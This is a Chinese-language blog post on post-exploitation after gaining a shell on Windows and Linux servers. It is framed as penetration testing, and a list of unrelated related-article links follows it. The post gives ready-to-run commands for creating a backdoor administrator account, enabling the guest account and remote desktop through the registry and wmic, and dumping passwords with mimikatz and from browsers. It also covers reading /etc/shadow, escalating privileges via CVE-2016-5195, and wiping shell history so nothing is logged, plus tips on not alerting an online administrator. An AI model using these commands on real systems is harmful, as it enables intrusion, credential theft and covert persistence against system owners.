获取Shell后的操作
对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同。
Windows
当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作呢?
第一步,先 whoami 查看用户身份,如果是系统用户那就再好不过了,如果是普通用户的话,就得想办法提权了。提权之后,利用mimikatz获取用户密码。如果是域环境的话,还可以获取登录过该主机的域用户密码。传送门——> 使用 mimikatz 破解windows登录密码
或者我们可以反弹一个MSF类型的shell到kali中,传送门——> 反弹MSF类型的Shell , MSF之后渗透阶段
以下命令是在Windows主机渗透测试过程中可以用到的
#信息探测
ipconfig #查看ip等信息
systeminfo #查看系统信息
netstat -ano #查看端口开放信息
tasklist /svc #查看进程信息
net user #查看主机用户
net localgroup #查看主机组
net share #查看开放的共享
net view #查看内网主机信息
#添加用户后门
net user hack 123 /add #添加用户并设置密码
net localgroup administrators hack /add #将用户加入管理组
net user guest /active:yes #激活guest用户
net user guest mstlab #更改guest用户的密码
更多Windows CMD窗口的命令,传送门——> Windows常见的cmd命令
如果对方主机没开3389端口怎么办?以下命令可以开启远程桌面服务,前提是管理员权限。
1.通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
2.For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.For Every:
win08,三条命令即可,win2012通用;win7前两条即可。权限需要administrator。
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
创建了后门用户,开启了远程桌面,我们就可以远程连接了。但是这里要注意,远程连接前判断该用户是否在线,万一对方管理员在线,你把人家给挤下去了,这样一下子就暴露了。开启远程桌面前慎重,慎重再慎重。
远程桌面登录后,我们查看桌面上有哪些软件,我们要找的目标有以下。
- FTP相关的软件
- 数据库相关的软件
- 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
总结:获得了权限之后,尽一切可能搜集该主机的信息,该主机上各种服务的用户名和密码。为接下来的内网渗透弱口令爆破做准备。
Linux
在获得了Linux主机的权限后。第一步,我们要做的就是让我们接下来操作的所有命令不在主机上留下任何痕迹。我们可以执行下面的命令,这样我们接下来执行的所有命令都不会在 .bash_history中看到了。这条命令只对当前终端有效!
export HISTFILE=/dev/null export HISTSIZE=0
先查看当前用户身份,是否是root权限身份,如果不是的话,查看系统版本,是否可以利用已知漏洞提权的,比如 CVE-2016-5195 。Linux下用SUID提权
然后要做的自然就是维持权限了,传送门——> Linux获取权限
whoami #查看当前用户身份
uname -a #查看系统信息
history #查看命令历史,有可能可以查看到管理员的一些重要命令,包括密码等
last #查看登录历史
cat /etc/passwd #查看用户
cat /etc/shadow #查看密码
未完待更新。。
相关文章:Linux 主机超全渗透测试命令汇总
获取Shell后的操作的更多相关文章
- weblogic从ssrf到redis获取shell
一.环境搭建和知识储备 1.1.影响版本 漏洞编号:CVE-2014-4210 weblogic 10.0.2.0 weblogic 10.3.6.0 1.2.Docker搭建环境 1.进入vulhu ...
- Linux Shell数组常用操作详解
Linux Shell数组常用操作详解 1数组定义: declare -a 数组名 数组名=(元素1 元素2 元素3 ) declare -a array array=( ) 数组用小括号括起,数组元 ...
- linux c程序中获取shell脚本输出的实现方法
linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...
- php获取客户端浏览器以及操作系统信息的方法
发布:sunday01 来源:net 阅读: 2 [大 中 小] 在较为智能的程序中,php可以获取客户端浏览器及操作系统信息,然后根据浏览器及系统类型,加载不同的页面,以提供更加个性化的 ...
- thinkPHP 空模块和空操作、前置操作和后置操作 详细介绍(十四)
原文:thinkPHP 空模块和空操作.前置操作和后置操作 详细介绍(十四) 本章节:介绍 TP 空模块和空操作.前置操作和后置操作 详细介绍 一.空模块和空操作 1.空操作 function _em ...
- selenium获取元素后用click()点击没有作用,用Keys.ENTER就可以成功
selenium获取元素后用click()点击没有作用,用键盘输入enter(Keys.ENTER)就可以成功 #coding = utf-8 from selenium import webdriv ...
- linux 安装源码后的操作 ldconfig
https://blog.csdn.net/cqkxboy168/article/details/8657487 知识点: .如果使用 ldd 命令时没有找到对应的共享库文件和其具体位置,可能是两种情 ...
- 客户端的javascript改变了asp.net webform页面控件的值,后台代码中如何获取修改后的值。
客户端的javascript改变了asp.net webform页面控件的值,后台代码中如何获取修改后的值. 无论是什么的html控件,只要加上了runat="server" ...
- 登陆获取shell时的配置文件加载过程
最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...
随机推荐
- jdk8的安装与环境搭建
jdk8的安装与环境搭建 jdk8下载网址:https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html ...
- struts2.0中ognl栈的解析
ongl详解: ValueStack是Struts2的一个接口,字面意义为值栈,OgnlValueStack是 ValueStack的实现类,客 户端发起一个请求,struts2架构会创建一个acti ...
- golang 并发运算时主线程先运行完,子线程运行没结束的问题记录
代码如下: blocks,err:= mgo.FindBlocks(batch) //获得当前批次下的矿体信息 cubes:= BlockCutting(blocks[0],x,y,z,nest) f ...
- The League of Sequence Designers Gym - 102460E
题目链接:https://vjudge.net/problem/Gym-102460E 思路:求: 题目当中给了一段伪代码算法,仔细一看发现它是不会记录负数情况,所以与正确答案会有误差,现在题目给定K ...
- java常用算法笔记
1.将一个10进制的c转换为n进制 String s=new BigInteger(c+"",10).toString(n); 2. 求一个解退出 System.exit(0): ...
- RocketMQ的安装配置:配置jdk环境,配置RocketMQ环境,配置集群环境,配置rocketmq-console
RocketMQ的安装配置 演示虚拟机环境:Centos64-1 (D:\linuxMore\centos6_64) root / itcast : 固定IP 192.168.52.128 一,配置J ...
- java中if语句的应用
1. 注释怎么写: 1.1 //单行注释 1.2 /*多行注释*/ 2. If语句的用法 2.1. if(条件语句){ ( ps:只有一行代码时可以不加{} ) } 2.2. if(条件语句) ...
- python基础之流程控制(1)
一.分支结构:if 判断 1.什么要有if 判断语句? 让计算机可以像人一样根据条件进行判断,并根据判断结果执行相应的流程. 2.基本结构 单分支结构 # 单分支 if 条件1: 代码1 代码2 代码 ...
- python那些需要知道的事儿——内存泄漏
啥,内存也会泄露?漏了咋补?我的内存会不会越漏越小?咋一听到内存泄漏,本喵的脑子蹦出无数想法,所以到底啥是内存泄漏! 一.垃圾回收机制(GC)机制 在理解内存泄漏之前,需要补充一个知识,即GC机制(也 ...
- Android Studio之显示本地时间
•效果展示图 •代码 1 package com.example.table; 2 3 import android.os.Bundle; 4 import android.os.Handler; 5 ...